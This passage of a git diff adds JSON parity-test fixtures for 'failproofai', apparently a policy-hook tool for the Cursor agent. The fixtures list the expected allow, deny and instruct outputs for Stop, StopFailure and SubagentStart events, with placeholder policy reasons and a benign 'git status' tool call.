"/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7cbccb98 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..fe9934f1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9f05ad97 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fe009354 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6f5167ca --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bfce797a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..12f41fc5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..32ee5991 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..da45ca37 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9da5cedb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9f18406c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..1f3a7b69 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..163a84ea --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8f43aca3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..460e90e8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..96914c0f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0c71b47a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e764fb8b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git 